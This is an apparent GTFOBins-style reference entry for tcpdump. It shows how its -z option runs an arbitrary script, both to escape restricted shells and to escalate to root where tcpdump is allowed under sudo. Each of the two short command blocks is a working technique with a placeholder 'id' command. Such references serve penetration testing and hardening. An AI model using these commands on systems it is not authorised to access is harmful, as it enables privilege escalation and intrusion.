.. / tcpdump

Star

• Command
• Sudo

These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.

Command

It can be used to break out from restricted environments by running non-interactive system commands.

• COMMAND='id'
  TF=$(mktemp)
  echo "$COMMAND" > $TF
  chmod +x $TF
  tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• COMMAND='id'
  TF=$(mktemp)
  echo "$COMMAND" > $TF
  chmod +x $TF
  sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF